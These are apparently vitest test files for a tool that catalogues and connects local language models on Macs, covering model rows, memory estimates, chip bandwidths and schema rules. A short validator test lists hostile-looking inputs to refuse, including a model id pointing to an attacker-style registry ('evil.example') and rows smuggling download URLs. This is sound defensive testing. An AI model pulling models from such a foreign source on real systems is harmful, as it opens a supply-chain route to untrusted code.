* rows may share figures only when they share the architecture and the runner, so a row
* can never again carry another model's measurement without saying so.
*
* Port: N/A (pure data and functions).
*/
import { describe, expect, it } from 'vitest';
import {
chipBandwidthGbps,
chipNameMatches,
getLocalModelCatalog,
LOCAL_MODEL_ID_PATTERN,
LocalModelCatalogSchema,
STOCK_LOCAL_MODEL_CATALOG,
} from '../src/config/local-model-catalog.js';
import {
RUNTIME_CTX_CHECKPOINTS,
RUNTIME_HOST_PROMPT_CACHE_MIB,
RUNTIME_KV_CACHE_TYPE,
runtimeEnv,
} from '../src/local-model/runtime.js';
import type { LocalModelCatalog, LocalModelEntry } from '../src/types.js';
/** A deep copy of the stock catalogue that a test may break. */
function copy(): LocalModelCatalog {
return structuredClone(STOCK_LOCAL_MODEL_CATALOG);
}
/** The message of every issue the schema raises for `catalog`, or an empty list when it parses. */
function issuesOf(catalog: unknown): string[] {
const result = LocalModelCatalogSchema.safeParse(catalog);
return result.success ? [] : result.error.issues.map((issue) => `${issue.path.join('.')}: ${issue.message}`);
}
/** The stock catalogue with its first model changed. */
/** `url` and `kvBytesPerToken` are no fields of a model row: tests pass them to prove the schema refuses an unknown key. */
function withFirstModel(change: Partial<Record<keyof LocalModelEntry | 'url' | 'kvBytesPerToken', unknown>>): unknown {
const catalog = copy();
return { ...catalog, models: [{ ...catalog.models[0], ...change }, ...catalog.models.slice(1)] };
}
/** One MiB and one GiB, in bytes. */
const MIB = 1024 * 1024;
const GIB = 1024 * MIB;
/**
* The architecture of every model the stock catalogue lists, read from its config.json on
* Hugging Face (2026-11-08): full-attention layers, their K/V heads and head size, and the
* layers whose cache does not grow with the context (Gated DeltaNet layers with their value
* and key heads, or sliding-window layers with their window). Fine-tunes share their base's.
*/
const ARCHITECTURES = {
'Qwen3.5-9B': { attentionLayers: 8, kvHeads: 4, headDim: 256, linear: { layers: 24, vHeads: 32, kHeads: 16 } },
'Qwen3.8-27B': { attentionLayers: 16, kvHeads: 4, headDim: 256, linear: { layers: 48, vHeads: 48, kHeads: 16 } },
'Qwen3.6-35B-A3B': { attentionLayers: 10, kvHeads: 2, headDim: 256, linear: { layers: 30, vHeads: 32, kHeads: 16 } },
'Qwen3.5-122B-A10B': {
attentionLayers: 12,
kvHeads: 2,
headDim: 256,
linear: { layers: 36, vHeads: 64, kHeads: 16 },
},
'North-Mini-Code-1.0': { attentionLayers: 13, kvHeads: 4, headDim: 128, sliding: { layers: 36, window: 4096 } },
} as const;
type ArchitectureName = keyof typeof ARCHITECTURES;
type Architecture = (typeof ARCHITECTURES)[ArchitectureName];
/**
* Which architecture each stock row runs, and how many tokens the runtime drafts per step with
* its multi-token-prediction layer: 0 when the GGUF has none (`nextn_predict_layers` in the GGUF
* header, read on 2026-11-08 from the first bytes of each model layer), else the tag's own
* `draft_num_predict` (its params layer) or the runtime's default of 4 when the tag sets none.
* Prediction costs a cache for that layer and one rollback copy of the recurrent state per
* drafted token (see the catalogue header). A row the catalogue gains must be added here, or the
* test below fails: its figures cannot be checked without it.
*/
const ROW_ARCHITECTURE: Record<string, { architecture: ArchitectureName; draftTokens: number }> = {
'qwen3.5:9b-q4_k_m': { architecture: 'Qwen3.5-9B', draftTokens: 0 },
'mimo-v2.6:9b-q4_k_m': { architecture: 'Qwen3.5-9B', draftTokens: 0 },
'north-mini-code-1.0:q4_k_m': { architecture: 'North-Mini-Code-1.0', draftTokens: 0 },
// Its params layer sets `draft_num_predict` 2.
'qwen3.6:35b-a3b-mtp-q4_k_m': { architecture: 'Qwen3.6-35B-A3B', draftTokens: 2 },
'qwen3.6:35b-a3b': { architecture: 'Qwen3.6-35B-A3B', draftTokens: 0 },
// A prediction layer, and no `draft_num_predict`: the runtime's 4.
'qwen3.8:27b-q8_0': { architecture: 'Qwen3.8-27B', draftTokens: 4 },
// Its params layer sets `draft_num_predict` 4.
'qwen3.8:27b-mtp-q4_k_m': { architecture: 'Qwen3.8-27B', draftTokens: 4 },
'ornith-1.5:122b': { architecture: 'Qwen3.5-122B-A10B', draftTokens: 0 },
};
/** Bytes per cached value in each K/V cache type of llama.cpp: q8_0 keeps 32 values in 34 bytes. */
const KV_BYTES_PER_VALUE: Record<string, number> = { f16: 2, q8_0: 34 / 32 };
/**
* The cache type of llama-server's draft context, which holds the prediction layer's cache: its
* default, because the runtime sets only the main context's (`--cache-type-k`).
*/
const DRAFT_KV_CACHE_TYPE = 'f16';
/** The sliding-window cache holds the window plus one batch of 512 tokens (`n_swa + n_ubatch`). */
const SLIDING_EXTRA_CELLS = 512;
/** The head size of a Gated DeltaNet layer's keys and values, and its convolution kernel, in every model above. */
const LINEAR_HEAD_DIM = 128;
const LINEAR_CONV_KERNEL = 4;
/** The recurrent state of the linear-attention layers in bytes: the convolution tail and the delta state. */
function recurrentStateBytes(arch: Architecture, convBytes: number): number {
if (!('linear' in arch)) return 0;
const { layers, vHeads, kHeads } = arch.linear;
const convDim = vHeads * LINEAR_HEAD_DIM + 2 * kHeads * LINEAR_HEAD_DIM;
const conv = (LINEAR_CONV_KERNEL - 1) * convDim * convBytes;
const delta = vHeads * LINEAR_HEAD_DIM * LINEAR_HEAD_DIM * 4;
return layers * (conv + delta);
}
/** What a `llamacpp` row's three figures must be, from its architecture and the runtime's settings. */
function llamaCppFigures(arch: Architecture, draftTokens: number): [number, number, number] {
const predictionLayer = draftTokens > 0;
const perValue = KV_BYTES_PER_VALUE[RUNTIME_KV_CACHE_TYPE];
const perLayer = arch.kvHeads * arch.headDim * 2;
// The prediction layer's cache sits in the draft context, in the draft's cache type.
const held =
arch.attentionLayers * perLayer * perValue +
(predictionLayer ? perLayer * KV_BYTES_PER_VALUE[DRAFT_KV_CACHE_TYPE] : 0);
// llama.cpp keeps the recurrent state in f32 (both parts), the sliding window in the cache type.
const recurrent = recurrentStateBytes(arch, 4);
const sliding =
'sliding' in arch ? arch.sliding.layers * (arch.sliding.window + SLIDING_EXTRA_CELLS) * perLayer * perValue : 0;
// Live: the sliding window, and the recurrent state with one rollback copy per drafted token
// (`--spec-draft-n-max`, which `need_n_rs_seq()` turns into that many copies).
const live = sliding + recurrent * (1 + draftTokens);
// A context checkpoint is a copy of what cannot be rolled back: the recurrent state or the window.
const checkpoints = RUNTIME_CTX_CHECKPOINTS * (recurrent + sliding);
return [held, live + checkpoints + 1_000_000_000 + RUNTIME_HOST_PROMPT_CACHE_MIB * MIB, 0];
}
/** The per-token figure of the MLX runner computed from an architecture: K/V in bf16, a recurrent snapshot per 8,192 tokens. */
function mlxComputedPerToken(arch: Architecture): number {
return arch.attentionLayers * arch.kvHeads * arch.headDim * 2 * 2 + recurrentStateBytes(arch, 2) / 8192;
}
/** The figures measured for `qwen3.6:35b-a3b` on the MacBook Pro. */
const MEASURED: [number, number, number] = [37_000, 3_000_000_000, 5_000_000_000];
/** What an estimated `mlx` row's three figures must be: computed, scaled by what the measured row showed. */
function mlxFigures(arch: Architecture): [number, number, number] {
const ratio = MEASURED[0] / mlxComputedPerToken(ARCHITECTURES['Qwen3.6-35B-A3B']);
return [Math.ceil(mlxComputedPerToken(arch) * ratio), MEASURED[1] + 8 * GIB, MEASURED[2]];
}
/** A row's three memory figures. */
function figuresOf(model: LocalModelEntry): [number, number, number] {
return [model.heldBytesPerToken, model.overheadBytes, model.peakExtraBytes];
}
describe('the stock catalogue', () => {
const models = STOCK_LOCAL_MODEL_CATALOG.models;
it('passes its own schema', () => {
expect(issuesOf(STOCK_LOCAL_MODEL_CATALOG)).toEqual([]);
});
it('is what the getter returns, validated once', () => {
const first = getLocalModelCatalog();
expect(first).toEqual(STOCK_LOCAL_MODEL_CATALOG);
// Parsed on first use, then reused: the same object, not a new parse per request.
expect(getLocalModelCatalog()).toBe(first);
});
it('lists eight models, by rank, and none of those set aside in the header', () => {
expect(models.map((m) => m.id)).toEqual([
'qwen3.5:9b-q4_k_m',
'mimo-v2.6:9b-q4_k_m',
'north-mini-code-1.0:q4_k_m',
'qwen3.6:35b-a3b-mtp-q4_k_m',
'qwen3.6:35b-a3b',
'qwen3.8:27b-q8_0',
'qwen3.8:27b-mtp-q4_k_m',
'ornith-1.5:122b',
]);
expect(models.map((m) => m.rank)).toEqual([1, 2, 3, 4, 5, 6, 7, 8]);
const setAside =
/^(bonsai-2|gpt-oss|flint|lfm2\.5|laguna|qwen3\.8-flash-next|qwen3\.5:122b)|^ornith-1\.5:(9b|35b|397b)/;
expect(models.filter((m) => setAside.test(m.id)).map((m) => m.id)).toEqual([]);
// The plain 9B and 27B tags are MLX builds on a Mac: their GGUF builds are listed instead.
for (const plain of ['qwen3.5:9b', 'mimo-v2.6:9b', 'qwen3.8:27b']) {
expect(models.some((m) => m.id === plain)).toBe(false);
}
});
it('names the runner a Mac uses for each tag', () => {
expect(Object.fromEntries(models.map((m) => [m.id, m.runner]))).toEqual({
'qwen3.5:9b-q4_k_m': 'llamacpp',
'mimo-v2.6:9b-q4_k_m': 'llamacpp',
'north-mini-code-1.0:q4_k_m': 'llamacpp',
'qwen3.6:35b-a3b-mtp-q4_k_m': 'llamacpp',
// Manifest lists: a Mac takes the MLX child.
'qwen3.6:35b-a3b': 'mlx',
'qwen3.8:27b-q8_0': 'llamacpp',
'qwen3.8:27b-mtp-q4_k_m': 'llamacpp',
'ornith-1.5:122b': 'mlx',
});
});
it('carries the size of the build a Mac pulls: every layer plus the config', () => {
expect(Object.fromEntries(models.map((m) => [m.id, m.bytes]))).toEqual({
// The registry's manifests as fetched on 2026-11-08, in lowercase.
'qwen3.5:9b-q4_k_m': 6_550_825_550,
'mimo-v2.6:9b-q4_k_m': 6_550_811_033,
'north-mini-code-1.0:q4_k_m': 18_593_967_008,
'qwen3.6:35b-a3b-mtp-q4_k_m': 22_621_314_381,
// The MLX child of the list, and the total of a real pull on a Mac, byte for byte.
'qwen3.6:35b-a3b': 23_105_798_956,
'qwen3.8:27b-q8_0': 29_978_242_050,
'qwen3.8:27b-mtp-q4_k_m': 17_741_872_154,
// The MLX child of the list (its GGUF child is 76,756,174,997).
'ornith-1.5:122b': 73_388_069_552,
});
});
it('says which row was measured on a Mac: one, and every other row is an estimate', () => {
expect(models.filter((m) => m.figures === 'measured').map((m) => m.id)).toEqual(['qwen3.6:35b-a3b']);
expect(figuresOf(models.find((m) => m.id === 'qwen3.6:35b-a3b') as LocalModelEntry)).toEqual(MEASURED);
});
it('has one tested entry: the 35B-A3B with OpenCode on the MacBook Pro, with its measured speed', () => {
expect(Object.fromEntries(models.filter((m) => m.tested.length > 0).map((m) => [m.id, m.tested]))).toEqual({
'qwen3.6:35b-a3b': [
{ chip: 'Apple M5 Pro', memGb: 48, cli: 'opencode', date: '2026-11-06', tokensPerSecond: 67.7 },
],
});
// A row may claim a test only when its figures were measured.
for (const model of models) {
if (model.tested.length > 0) expect(model.figures, model.id).toBe('measured');
}
});
it('gives every model a parameter count, an id of the default registry and a license', () => {
expect(Object.fromEntries(models.map((m) => [m.id, [m.paramsB, m.license]]))).toEqual({
'qwen3.5:9b-q4_k_m': [9, 'Apache-2.0'],
'mimo-v2.6:9b-q4_k_m': [9, 'MIT'],
'north-mini-code-1.0:q4_k_m': [30, 'Apache-2.0'],
'qwen3.6:35b-a3b-mtp-q4_k_m': [35, 'Apache-2.0'],
'qwen3.6:35b-a3b': [35, 'Apache-2.0'],
'qwen3.8:27b-q8_0': [27.8, 'Apache-2.0'],
'qwen3.8:27b-mtp-q4_k_m': [27.8, 'Apache-2.0'],
'ornith-1.5:122b': [122, 'MIT'],
});
for (const model of models) expect(model.id).toMatch(LOCAL_MODEL_ID_PATTERN);
// The two 9B rows are the ones under the 12 billion line of the `limited` verdict.
expect(models.filter((m) => m.paramsB < 12).map((m) => m.id)).toEqual(['qwen3.5:9b-q4_k_m', 'mimo-v2.6:9b-q4_k_m']);
});
it('offers no model below the 65536 tokens a harness needs, nor beyond its own window', () => {
for (const model of models) {
expect(Math.min(...model.contexts), model.id).toBeGreaterThanOrEqual(65536);
expect(model.contexts[0], model.id).toBeLessThanOrEqual(262144);
}
});
it('has a speed figure only where one was measured or scaled from a measurement', () => {
expect(Object.fromEntries(models.map((m) => [m.id, m.speedPer100Gbps ?? null]))).toEqual({
// 37.1 tokens per second on 400 GB/s, and the same for the fine-tune of the same size.
'qwen3.5:9b-q4_k_m': 9.3,
'mimo-v2.6:9b-q4_k_m': 9.3,
// The 35B-A3B's llama.cpp figure: both have 3 billion active parameters.
'north-mini-code-1.0:q4_k_m': 13.6,
// 54.5 on 400 GB/s with llama.cpp.
'qwen3.6:35b-a3b-mtp-q4_k_m': 13.6,
// 67.8 on 400 GB/s with MLX.
'qwen3.6:35b-a3b': 16.9,
// 2.95 scaled by file size.
'qwen3.8:27b-q8_0': 1.7,
// 11.8 on 400 GB/s with llama.cpp, without prediction.
'qwen3.8:27b-mtp-q4_k_m': 2.95,
// 16.9 x 3/10 active parameters, rounded down.
'ornith-1.5:122b': 5,
});
});
it('lists its harnesses as data rows, one of them gated', () => {
expect(STOCK_LOCAL_MODEL_CATALOG.harnesses).toEqual([
{ cli: 'opencode', minContext: 65536, rank: 3 },
{ cli: 'claude', minContext: 65536, rank: 2, slowFirstTurn: true },
{ cli: 'pi', minContext: 32768, rank: 1, gated: true },
]);
});
it('names the oldest macOS and its schema version', () => {
expect(STOCK_LOCAL_MODEL_CATALOG.minMacosMajor).toBe(14);
expect(STOCK_LOCAL_MODEL_CATALOG.schema).toBe(1);
});
it('holds no download data: no URL, no digest, no runtime block', () => {
const text = JSON.stringify(STOCK_LOCAL_MODEL_CATALOG);
expect(text).not.toMatch(/https?:/);
expect(text).not.toMatch(/sha256/i);
expect(Object.keys(STOCK_LOCAL_MODEL_CATALOG).sort()).toEqual(
['chips', 'harnesses', 'minMacosMajor', 'models', 'schema', 'updated'].sort()
);
});
});
describe('the memory figures of the stock rows: each row has its own', () => {
const models = STOCK_LOCAL_MODEL_CATALOG.models;
it('knows the architecture of every row, and every row of that table is in the catalogue', () => {
expect(models.map((m) => m.id).sort()).toEqual(Object.keys(ROW_ARCHITECTURE).sort());
});
it('computes the llamacpp rows for the K/V cache type and the prompt cache the runtime really sets', () => {
// The figures below assume these; runtimeEnv() is what the runtime gets.
const env = runtimeEnv({ source: {}, home: '/h', modelsDir: '/m', port: 11435, contextLength: 65536 });
expect(env.OLLAMA_KV_CACHE_TYPE).toBe(RUNTIME_KV_CACHE_TYPE);
expect(env.LLAMA_ARG_CACHE_RAM).toBe(String(RUNTIME_HOST_PROMPT_CACHE_MIB));
expect(env.LLAMA_ARG_CTX_CHECKPOINTS).toBe(String(RUNTIME_CTX_CHECKPOINTS));
expect(KV_BYTES_PER_VALUE[RUNTIME_KV_CACHE_TYPE]).toBeDefined();
// The runtime sets no cache type for the draft context, so the prediction layer's stays f16.
expect(Object.keys(env).filter((name) => /DRAFT|SPEC/.test(name))).toEqual([]);
});
it("recomputes every estimated row's figures from its own model's architecture and runner", () => {
for (const model of models.filter((m) => m.figures === 'estimated')) {
const { architecture, draftTokens } = ROW_ARCHITECTURE[model.id];
const arch = ARCHITECTURES[architecture];
const expected = model.runner === 'llamacpp' ? llamaCppFigures(arch, draftTokens) : mlxFigures(arch);
expect(figuresOf(model), `${model.id} (${architecture}, ${model.runner})`).toEqual(expected);
}
});
it('states the numbers the header and the row comments name', () => {
expect(Object.fromEntries(models.map((m) => [m.id, figuresOf(m)]))).toEqual({
// State x (1 live + 8 checkpoints) + 1.0 GB + 1 GiB.
'qwen3.5:9b-q4_k_m': [17_408, 2_547_960_320, 0],
'mimo-v2.6:9b-q4_k_m': [17_408, 2_547_960_320, 0],
// The sliding window x (1 live + 8 checkpoints) + 1.0 GB + 1 GiB.
'north-mini-code-1.0:q4_k_m': [14_144, 3_698_117_120, 0],
// State x (1 live + 2 rollback copies + 8 checkpoints) + 1.0 GB + 1 GiB; the prediction
// layer's cache in f16 per token. The 27B rows below draft 4 tokens: 4 rollback copies.
'qwen3.6:35b-a3b-mtp-q4_k_m': [12_928, 2_798_242_304, 0],
'qwen3.6:35b-a3b': [37_000, 3_000_000_000, 5_000_000_000],
'qwen3.8:27b-q8_0': [38_912, 4_113_353_216, 0],
'qwen3.8:27b-mtp-q4_k_m': [38_912, 4_113_353_216, 0],
'ornith-1.5:122b': [56_574, 11_589_934_592, 5_000_000_000],
});
// The two parts of a llamacpp overhead that are not computed from the architecture.
expect(RUNTIME_CTX_CHECKPOINTS).toBe(8);
expect(RUNTIME_HOST_PROMPT_CACHE_MIB).toBe(1024);
// The MLX calibration: 37,000 held against 28,340 computed for the measured row.
expect(mlxComputedPerToken(ARCHITECTURES['Qwen3.6-35B-A3B'])).toBe(28_340);
expect(mlxComputedPerToken(ARCHITECTURES['Qwen3.5-122B-A10B'])).toBe(43_332);
});
it('lets two rows share figures only when they share the architecture, the drafted tokens and the runner', () => {
const byFigures = new Map<string, LocalModelEntry[]>();
for (const model of models) {
const key = figuresOf(model).join('/');
byFigures.set(key, [...(byFigures.get(key) ?? []), model]);
}
const shared = [...byFigures.values()].filter((group) => group.length > 1);
// The two 9B rows (a fine-tune and its base) and the two 27B rows (two quantizations of one model).
expect(shared.map((group) => group.map((m) => m.id))).toEqual([
['qwen3.5:9b-q4_k_m', 'mimo-v2.6:9b-q4_k_m'],
['qwen3.8:27b-q8_0', 'qwen3.8:27b-mtp-q4_k_m'],
]);
for (const group of shared) {
const identity = (m: LocalModelEntry): string => JSON.stringify([ROW_ARCHITECTURE[m.id], m.runner, m.figures]);
expect(new Set(group.map(identity)).size, group.map((m) => m.id).join(', ')).toBe(1);
}
});
it("gives no estimated row the measured row's per-token or overhead figure", () => {
for (const model of models.filter((m) => m.figures === 'estimated')) {
expect(model.heldBytesPerToken, model.id).not.toBe(MEASURED[0]);
expect(model.overheadBytes, model.id).not.toBe(MEASURED[1]);
expect(figuresOf(model), model.id).not.toEqual(MEASURED);
}
});
it('gives a llamacpp row no peak (its buffers are allocated at load) and an estimated mlx row the whole prefix budget', () => {
for (const model of models) {
if (model.runner === 'llamacpp') expect(model.peakExtraBytes, model.id).toBe(0);
if (model.runner === 'mlx' && model.figures === 'estimated') {
expect(model.overheadBytes - MEASURED[1], model.id).toBe(8 * GIB);
}
}
});
});
describe('the model id rule', () => {
it('accepts name:tag in lowercase', () => {
for (const id of ['qwen3.5:9b', 'gpt-oss:20b', 'qwen3.8:27b-q8_0', 'a:b', 'x_y.z-1:2.3_4']) {
expect(LOCAL_MODEL_ID_PATTERN.test(id), id).toBe(true);
}
});
it('refuses anything that could name another registry, namespace or no tag at all', () => {
const bad = [
'evil.example/x/y:z',
'library/qwen3.5:9b',
'registry.ollama.ai/library/qwen3.5:9b',
'Qwen3.5:9b',
'qwen3.5:9B',
'qwen3.5',
'qwen3.5:',
':9b',
'qwen3.5:9b:extra',
'qwen 3.5:9b',
'-qwen:9b',
'qwen:-9b',
'qwen3.5:9b\n',
'',
];
for (const id of bad) expect(LOCAL_MODEL_ID_PATTERN.test(id), JSON.stringify(id)).toBe(false);
});
it('makes the schema reject a catalogue with such an id', () => {
for (const id of ['evil.example/x/y:z', 'Qwen3.5:9b', 'qwen3.5', 'qwen3.5:9b ']) {
const issues = issuesOf(withFirstModel({ id }));
expect(issues, id).toHaveLength(1);
expect(issues[0]).toContain('models.0.id');
}
});
});
describe('the schema, field by field', () => {
it('refuses a key it does not know, at the top and inside a row', () => {
// The whole point of having no `runtime` block: a data row can never carry a download URL.
expect(issuesOf({ ...copy(), runtime: { url: 'https://example.com/x.tgz', sha256: 'abc' } })).not.toEqual([]);
expect(issuesOf(withFirstModel({ url: 'https://example.com/model' }))).not.toEqual([]);
const catalog = copy();
expect(issuesOf({ ...catalog, harnesses: [{ ...catalog.harnesses[0], dialect: 'openai' }] })).not.toEqual([]);
expect(issuesOf({ ...catalog, chips: [{ match: 'M4', gbps: 120, cores: 10 }] })).not.toEqual([]);
// The two figures the need was once computed from are gone, and a row that still has one is refused.
expect(issuesOf(withFirstModel({ kvBytesPerToken: 32768 }))).not.toEqual([]);
expect(issuesOf({ ...catalog, promptCacheTiers: [{ minMemGb: 0, bytes: 1 }] })).not.toEqual([]);
});
it('requires the memory figures and where they come from on every model row', () => {
for (const field of ['heldBytesPerToken', 'overheadBytes', 'peakExtraBytes', 'figures'] as const) {
const row: Record<string, unknown> = { ...copy().models[0] };
delete row[field];
const issues = issuesOf({ ...copy(), models: [row] });
expect(issues, field).toHaveLength(1);
expect(issues[0]).toContain(`models.0.${field}`);
}
expect(issuesOf(withFirstModel({ figures: 'guessed' }))).not.toEqual([]);
// What stays held per token must be a positive whole number of bytes; the other two may be 0.
expect(issuesOf(withFirstModel({ heldBytesPerToken: 0 }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ heldBytesPerToken: 36.5 }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ overheadBytes: 0, peakExtraBytes: 0 }))).toEqual([]);
expect(issuesOf(withFirstModel({ overheadBytes: -1 }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ peakExtraBytes: 1.5 }))).not.toEqual([]);
});
it('requires the runner on every model row, and knows two', () => {
const row: Record<string, unknown> = { ...copy().models[0] };
delete row.runner;
const issues = issuesOf({ ...copy(), models: [row] });
expect(issues).toHaveLength(1);
expect(issues[0]).toContain('models.0.runner');
expect(issuesOf(withFirstModel({ runner: 'mlx' }))).toEqual([]);
expect(issuesOf(withFirstModel({ runner: 'llamacpp' }))).toEqual([]);
for (const runner of ['ggml', 'MLX', 'llama.cpp', '']) {
expect(issuesOf(withFirstModel({ runner })), runner).not.toEqual([]);
}
});
it('requires paramsB and tested on every model row', () => {
for (const field of ['paramsB', 'tested'] as const) {
const row: Record<string, unknown> = { ...copy().models[0] };
delete row[field];
const issues = issuesOf({ ...copy(), models: [row] });
expect(issues, field).toHaveLength(1);
expect(issues[0]).toContain(`models.0.${field}`);
}
});
it('refuses sizes and counts that are not positive whole numbers', () => {
expect(issuesOf(withFirstModel({ bytes: 0 }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ bytes: 1.5 }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ contexts: [] }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ paramsB: 0 }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ speedPer100Gbps: 0 }))).not.toEqual([]);
});
it('accepts a tested entry and checks its shape', () => {
const good = { chip: 'Apple M4', memGb: 16, cli: 'opencode', date: '2026-11-06' };
expect(issuesOf(withFirstModel({ tested: [good] }))).toEqual([]);
expect(issuesOf(withFirstModel({ tested: [{ ...good, date: '6 November 2026' }] }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ tested: [{ ...good, memGb: 0 }] }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ tested: [{ ...good, result: 'pass' }] }))).not.toEqual([]);
// The speed measured in that test is optional, and a speed is above 0.
expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: 67.7 }] }))).toEqual([]);
expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: 0 }] }))).not.toEqual([]);
expect(issuesOf(withFirstModel({ tested: [{ ...good, tokensPerSecond: '67.7' }] }))).not.toEqual([]);
});
it('refuses another schema version and a date that is not ISO', () => {
expect(issuesOf({ ...copy(), schema: 2 })).not.toEqual([]);
expect(issuesOf({ ...copy(), updated: 'today' })).not.toEqual([]);
});
});
describe('the schema, across rows', () => {
it('refuses a repeated model id', () => {
const catalog = copy();
catalog.models[1] = { ...catalog.models[1], id: catalog.models[0].id };
expect(issuesOf(catalog)).toEqual(['models.1.id: model ids must be unique']);
});
it('refuses a repeated model rank, which would leave the order of two models to chance', () => {
const catalog = copy();
catalog.models[1] = { ...catalog.models[1], rank: catalog.models[0].rank };
expect(issuesOf(catalog)).toEqual(['models.1.rank: model ranks must be unique']);
});
it('refuses a harness listed twice and a repeated harness rank', () => {
const twice = copy();
twice.harnesses.push({ cli: twice.harnesses[0].cli, minContext: 32768, rank: 9 });
expect(issuesOf(twice)).toEqual(['harnesses.3.cli: a harness may be listed only once']);
const sameRank = copy();
sameRank.harnesses[1] = { ...sameRank.harnesses[1], rank: sameRank.harnesses[0].rank };
expect(issuesOf(sameRank)).toEqual(['harnesses.1.rank: harness ranks must be unique']);
});
it('refuses contexts that are not listed largest first, or that repeat', () => {
expect(issuesOf(withFirstModel({ contexts: [32768, 65536] }))).toEqual([
'models.0.contexts.1: contexts must be listed largest first, without repeats',
]);
expect(issuesOf(withFirstModel({ contexts: [65536, 65536] }))).toEqual([
'models.0.contexts.1: contexts must be listed largest first, without repeats',
]);
});
it('refuses a tested entry for a harness the catalogue does not list', () => {
const entry = { chip: 'Apple M4', memGb: 16, cli: 'not-a-harness', date: '2026-11-06' };
expect(issuesOf(withFirstModel({ tested: [entry] }))).toEqual([
'models.0.tested.0.cli: a tested entry must name a harness of this catalogue',
]);
});
it('refuses chips that are not listed most specific first', () => {
const catalog = copy();
catalog.chips = [
{ match: 'M4', gbps: 120 },
{ match: 'M4 Max', gbps: 410 },
];
expect(issuesOf(catalog)).toEqual([
"chips.1.match: chips must be listed most specific first: 'M4' comes before 'M4 Max'",
]);
const repeated = copy();
repeated.chips = [
{ match: 'M4', gbps: 120 },
{ match: 'm4', gbps: 130 },
];
expect(issuesOf(repeated)).toHaveLength(1);
});
});
describe('the chips table', () => {
const chips = STOCK_LOCAL_MODEL_CATALOG.chips;
it('holds every chip of the source table that shipped', () => {
// Bandwidth column of https://github.com/ggml-org/llama.cpp/discussions/4167, read on
// 2026-11-06. A name that covers two bandwidths has the lower one.
expect(Object.fromEntries(chips.map((row) => [row.match, row.gbps]))).toEqual({
'M5 Ultra': 1228,
'M3 Ultra': 800,
'M2 Ultra': 800,
'M1 Ultra': 800,
'M5 Max': 460,
'M4 Max': 410,
'M3 Max': 300,
'M2 Max': 400,
'M1 Max': 400,
'M5 Pro': 307,
'M4 Pro': 273,
'M3 Pro': 150,
'M2 Pro': 200,
'M1 Pro': 200,
M5: 154,
M4: 120,
M3: 100,
M2: 100,
M1: 68,
});
});
it('finds each row under the name macOS reports for that chip', () => {
// No row is hidden by an earlier one: 'Apple M4 Max' is 410, not the 120 of 'M4'.
for (const row of chips) {
expect(chipBandwidthGbps(chips, `Apple ${row.match}`), row.match).toBe(row.gbps);
}
});
it('knows the chips of the two test Macs', () => {
expect(chipBandwidthGbps(chips, 'Apple M4')).toBe(120);
expect(chipBandwidthGbps(chips, 'Apple M5 Pro')).toBe(307);
});
it('never guesses: a chip that no row names has no bandwidth', () => {
const unknown = [
// A base chip that is not in the table.
'Apple M6',
// A variant the table has never heard of must not borrow the figure of its base chip.
'Apple M6 Pro',
'Apple M4 Ultra',
'Apple M5 Extreme',
// A name that merely contains a known name.
'Apple M10',
'Apple M12 Pro',
'Apple M1 Max (Virtual)',
'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz',
'VirtualApple @ 2.50GHz processor',
'Max',
'',
];
for (const chip of unknown) expect(chipBandwidthGbps(chips, chip), chip).toBeUndefined();
expect(chipBandwidthGbps(chips, undefined)).toBeUndefined();
expect(chipBandwidthGbps([], 'Apple M4')).toBeUndefined();
});
});
describe('chipNameMatches', () => {
it('matches the whole chip name at the end of the string, ignoring case and padding', () => {
expect(chipNameMatches('Apple M4 Pro', 'M4 Pro')).toBe(true);
expect(chipNameMatches('Apple M4', 'M4')).toBe(true);
expect(chipNameMatches('M4', 'M4')).toBe(true);
expect(chipNameMatches(' apple m4 pro ', 'M4 PRO')).toBe(true);
});
it('does not match a part of a longer name', () => {
expect(chipNameMatches('Apple M4 Pro', 'M4')).toBe(false);
expect(chipNameMatches('Apple M14', 'M4')).toBe(false);
expect(chipNameMatches('Apple M10', 'M1')).toBe(false);
expect(chipNameMatches('Apple XM4', 'M4')).toBe(false);
expect(chipNameMatches('Apple M4', '')).toBe(false);
expect(chipNameMatches('', 'M4')).toBe(false);
});
});
+489
View File
@@ -0,0 +1,489 @@
/**
* @fileoverview Connecting the installed local model to Codeman and undoing it
* (src/local-model/connect.ts): the two writes outside the local model folder.
*
* What is pinned:
* - the endpoint record's exact shape, and that it passes the schema every saved endpoint passes;
* - connecting writes the record and switches the settings flag on, keeps every other
* endpoint and setting, and is idempotent;
* - the reserved id is never taken over: a record with it that is not ours refuses the
* connect and changes nothing;
* - a refused write leaves the pair as it was (a record this call added is taken out again);
* - disconnecting removes our record, and restores the flag ONLY when this feature switched
* it on and no other endpoint is saved;
* - the digest comparison, the session names of the DELETE's 409, the managed-record test,
* and that the runtime's private key cannot be served.
*
* Port: N/A (no server; the two files live in the test's temp data dir).
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { dataPath, getDataDir } from '../src/config/instance.js';
import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
import {
buildLocalEndpointRecord,
compareModelDigest,
connectLocalModel,
disconnectLocalModel,
ensureLocalEndpoint,
inspectLocalEndpoint,
isLocalModelEndpointId,
isManagedLocalEndpoint,
isSameLocalEndpoint,
LOCAL_MODEL_ENDPOINT_ID,
LOCAL_MODEL_ENDPOINT_LABEL,
moveLocalEndpoint,
sessionNamesUsingEndpoint,
} from '../src/local-model/connect.js';
import { CustomModelHostSchema } from '../src/web/schemas.js';
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
import { isSensitivePath } from '../src/web/sensitive-path.js';
const HOSTS = () => customModelHostsPath(getDataDir());
const STATE = () => dataPath('local-model.json');
const INPUT = { port: 11435, modelId: 'qwen3.6:35b-a3b', context: 131072 };
const OTHER: CustomModelHost = {
id: 'office-gpu',
label: 'Office GPU',
baseUrl: 'http://192.168.1.50:8080',
